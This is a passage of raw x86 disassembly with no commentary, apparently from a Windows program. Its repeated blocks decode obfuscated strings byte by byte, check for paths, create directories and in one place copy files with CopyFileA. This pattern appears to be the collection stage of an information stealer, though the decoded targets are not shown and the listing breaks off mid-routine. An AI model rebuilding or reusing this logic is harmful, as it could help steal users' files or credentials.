call fcn.00414220
mov esi, eax
xor edx, edx
nop dword [eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00461130
mov byte [edx + esi], al
inc edx
cmp edx, 0x10
jb 0x411560
push esi
lea edx, [ebp - 0x54]
lea ecx, [ebp - 0x78]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x78]
call fcn.0045fb30
mov ecx, eax
call fcn.0040b940
test al, al
jne 0x4115b2
push 0
lea ecx, [ebp - 0x78]
call fcn.0045fb30
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x411656
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x78]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x21]
push eax
call fcn.00414220
mov esi, eax
xor edx, edx
nop dword [eax + eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00461130
mov byte [edx + esi], al
inc edx
cmp edx, 0x10
jb 0x4115e0
sub esp, 0x18
lea edx, [ebp - 0x98]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push esi
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x35
mov byte [ebp - 4], 0x33
mov cl, byte [ebp - 0xd]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x411629
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x411656
lea ecx, [ebp - 0x78]
call fcn.0045fb30
push eax
lea ecx, [ebp - 0x28]
call fcn.00402790
mov byte [ebp - 4], 0x36
push ecx
lea ecx, [ebp - 0x28]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x28]
call fcn.00402890
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xffefffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x527670]
xor ecx, ecx
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0xbab8be
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x24]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0x13
jb 0x411690
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4116c0
sub ecx, edx
lea eax, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x37
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x200]
call fcn.00464300
add esp, 4
mov byte [ebp - 4], 0x39
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x41172a
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411720
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414144
push ecx
push edx
call fcn.004bafb1
add esp, 8
cmp dword [ebp - 0x1ec], 0x10
lea ecx, [ebp - 0x200]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x200]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b940
test al, al
je 0x41188d
mov dword [ebp - 0x2e], 0xa7be9583
xor ecx, ecx
mov word [ebp - 0x2a], 0xa7
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x2e]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 5
jb 0x411770
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x2e]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411790
mov esi, closesocket
sub ecx, edx
mov edx, dword [ebp + 0x18]
mov eax, esi
sub eax, edx
cmp eax, ecx
jb 0x414149
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x2e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.004680d0
or edi, 0x200000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b940
test al, al
jne 0x4117fd
push 0
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x411876
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x3b
sub esp, 0x18
lea eax, [ebp - 0x200]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x3c
mov byte [ebp - 4], 0x3a
mov cl, byte [ebp - 0xd]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x411849
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x411876
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x3d
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xffdfffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x54]
call fcn.00402890
jmp 0x411892
mov esi, closesocket
movaps xmm0, xmmword [0x527970]
xor ecx, ecx
movups xmmword [ebp - 0x78], xmm0
mov dword [ebp - 0x68], 0xb3bea883
mov dword [ebp - 0x64], 0xacabbab3
mov byte [ebp - 0x60], 0
movzx eax, byte [ebp + ecx - 0x78]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x78], al
inc ecx
cmp ecx, 0x18
jb 0x4118b1
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4118e1
sub ecx, edx
lea eax, [ebp - 0x78]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x3e
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x408]
lea ecx, [ebp - 0x1e8]
call fcn.00464300
add esp, 4
mov byte [ebp - 4], 0x40
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x41194b
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411941
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41414e
push ecx
push edx
call fcn.004bafb1
add esp, 8
cmp dword [ebp - 0x1d4], 0x10
lea ecx, [ebp - 0x1e8]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x1e8]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b940
test al, al
je 0x411aa7
mov dword [ebp - 0x19], 0xb6b09c83
xor ecx, ecx
mov dword [ebp - 0x15], 0xb6b2b0b1
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x411992
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x19]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4119b1
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x414153
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x19]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.004680d0
or edi, 0x400000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b940
test al, al
jne 0x411a19
push 0
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x411a92
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x42
sub esp, 0x18
lea eax, [ebp - 0x1e8]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x43
mov byte [ebp - 4], 0x41
mov cl, byte [ebp - 0xd]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x411a65
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x411a92
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x44
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xffbfffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x54]
call fcn.00402890
mov dword [ebp - 0x30], 0xb2ad9e83
xor ecx, ecx
mov dword [ebp - 0x2c], 0xa6adb0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x411ac0
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411af0
sub ecx, edx
lea eax, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x45
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x1d0]
call fcn.00464300
add esp, 4
mov byte [ebp - 4], 0x47
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x411b5a
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411b50
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414158
push ecx
push edx
call fcn.004bafb1
add esp, 8
cmp dword [ebp - 0x1bc], 0x10
lea ecx, [ebp - 0x1d0]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x1d0]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b940
test al, al
je 0x411cb6
mov dword [ebp - 0x30], 0xb2ad9e83
xor ecx, ecx
mov dword [ebp - 0x2c], 0xa6adb0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x411ba0
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x30]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411bc0
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x41415d
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x30]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.004680d0
or edi, 0x800000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b940
test al, al
jne 0x411c28
push 0
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x411ca1
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x49
sub esp, 0x18
lea eax, [ebp - 0x1d0]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x4a
mov byte [ebp - 4], 0x48
mov cl, byte [ebp - 0xd]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x411c74
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x411ca1
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x4b
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xff7fffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x5278a0]
xor ecx, ecx
movups xmmword [ebp - 0x7c], xmm0
mov dword [ebp - 0x6c], 0xabb1bab6
mov dword [ebp - 0x68], 0xb3be8883
mov dword [ebp - 0x64], 0xacabbab3
mov byte [ebp - 0x60], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x7c]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x7c], al
inc ecx
cmp ecx, 0x1c
jb 0x411ce0
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411d10
sub ecx, edx
lea eax, [ebp - 0x7c]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x4c
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x1b8]
call fcn.00464300
add esp, 4
mov byte [ebp - 4], 0x4e
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x411d7a
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411d70
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414162
push ecx
push edx
call fcn.004bafb1
add esp, 8
cmp dword [ebp - 0x1a4], 0x10
lea ecx, [ebp - 0x1b8]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x1b8]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b940
test al, al
je 0x411ed6
mov dword [ebp - 0x30], 0xacbe8883
xor ecx, ecx
mov dword [ebp - 0x2c], 0xb6bdbe
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x411dc0
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0x30]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411de0
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x414167
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x30]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.004680d0
or edi, 0x1000000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b940
test al, al
jne 0x411e48
push 0
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x411ec1
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x50
sub esp, 0x18
lea eax, [ebp - 0x1b8]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x51
mov byte [ebp - 4], 0x4f
mov cl, byte [ebp - 0xd]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x411e94
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x411ec1
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x52
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xfeffffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x527bf0]
xor ecx, ecx
movups xmmword [ebp - 0x22], xmm0
mov word [ebp - 0x12], 0xbd
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x22]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 0x11
jb 0x411ef0
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x22]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411f20
sub ecx, edx
lea eax, [ebp - 0x22]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x53
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x1a0]
call fcn.00464300
add esp, 4
mov byte [ebp - 4], 0x55
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x411f8a
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411f80
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41416c
push ecx
push edx
call fcn.004bafb1
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x44], 0
lea eax, [ebp - 0x1a0]
mov dword [ebp - 0x2c], esp
mov ecx, esp
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x56
mov byte [ebp - 4], 0x55
call fcn.0040b8a0
add esp, 0x18
test al, al
je 0x412178
mov dword [ebp - 0x30], 0xabb69d83
xor ecx, ecx
mov dword [ebp - 0x2c], 0xadbab7
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x411fe0
mov byte [ebp - 4], 0x57
lea ecx, [ebp - 0x30]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412000
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x414171
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x30]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.004680d0
or edi, 0x2000000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b940
test al, al
jne 0x41206c
push 0
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x412163
mov dword [ebp - 0x1b], 0xabb6bd83
xor ecx, ecx
mov dword [ebp - 0x17], 0xf1adbab7
mov word [ebp - 0x13], 0xbdbb
mov byte [ebp - 0x11], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xa
jb 0x412090
mov byte [ebp - 4], 0x58
lea ecx, [ebp - 0x1b]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4120b0
sub ecx, edx
mov eax, esi
mov edx, dword [ebp - 0x44]
sub eax, edx
cmp eax, ecx
jb 0x414176
cmp dword [ebp - 0x40], 0x10
lea eax, [ebp - 0x54]
push ecx
cmovae eax, dword [ebp - 0x54]
lea ecx, [ebp - 0x1b]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x78]
call fcn.004680d0
or dword [ebp - 0x80], 2
lea ecx, [ebp - 0x78]
cmp dword [ebp - 0x64], 0x10
lea eax, [ebp - 0x1a0]
push 0
cmovae ecx, dword [ebp - 0x78]
cmp dword [ebp - 0x18c], 0x10
push ecx
cmovae eax, dword [ebp - 0x1a0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x80], 0xfffffffd
mov esi, eax
mov byte [ebp - 4], 0x57
lea ecx, [ebp - 0x78]
call fcn.00402890
test esi, esi
je 0x412131
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x41215e
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x59
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x57
lea ecx, [ebp - 0x78]
call fcn.00402890
mov esi, closesocket
and edi, 0xfdffffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x527d00]
xor ecx, ecx
movups xmmword [ebp - 0x26], xmm0
mov dword [ebp - 0x16], 0xabbab3b3
mov word [ebp - 0x12], 0xac
movzx eax, byte [ebp + ecx - 0x26]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x15
jb 0x412192
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x26]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4121c2
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x5a
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x188]
call fcn.00464300
add esp, 4
mov byte [ebp - 4], 0x5c
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x41222c
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x412222
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41417b
push ecx
push edx
call fcn.004bafb1
add esp, 8
cmp dword [ebp - 0x174], 0x10
lea ecx, [ebp - 0x188]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x188]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b940
test al, al
je 0x412396
mov dword [ebp - 0x1e], 0xbab39a83
xor ecx, ecx
mov dword [ebp - 0x1a], 0xb0adabbc
mov dword [ebp - 0x16], 0xacbe9cb1
mov word [ebp - 0x12], 0xb7
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x1e]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 0xd
jb 0x412280
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x1e]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4122a0
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x414180
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x1e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.004680d0
or edi, 0x4000000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b940
test al, al
jne 0x412308
push 0
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x412381
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x5e
sub esp, 0x18
lea eax, [ebp - 0x188]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x5f
mov byte [ebp - 4], 0x5d
mov cl, byte [ebp - 0xd]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x412354
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x412381
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x60
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xfbffffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x527720]
xor ecx, ecx
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0xb5f1baad
mov dword [ebp - 0x14], 0xb1b0ac
movzx eax, byte [ebp + ecx - 0x28]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x28], al
inc ecx
cmp ecx, 0x17
jb 0x4123b1
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4123e1
sub ecx, edx
lea eax, [ebp - 0x28]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x61
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x170]
call fcn.00464300
add esp, 4
mov byte [ebp - 4], 0x63
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x41244b
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x412441
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414185
push ecx
push edx
call fcn.004bafb1
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x44], 0
lea eax, [ebp - 0x170]
mov dword [ebp - 0x2c], esp
mov ecx, esp
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x64
mov byte [ebp - 4], 0x63
call fcn.0040b8a0
add esp, 0x18
test al, al
je 0x412628
mov dword [ebp - 0x19], 0xb1b69d83
xor ecx, ecx
mov dword [ebp - 0x15], 0xbabcb1be
mov byte [ebp - 0x11], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x4124a0
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0x19]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4124c0
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x41418a
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x19]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.004680d0
or edi, 0x8000000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b940
test al, al
jne 0x41252c
push 0
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x412613
lea eax, [ebp - 0x20]
push eax
call fcn.00414250
mov esi, eax
xor edx, edx
nop dword [eax]
movzx ecx, byte [esi + edx]
push ecx
call fcn.00461130
mov byte [esi + edx], al
inc edx
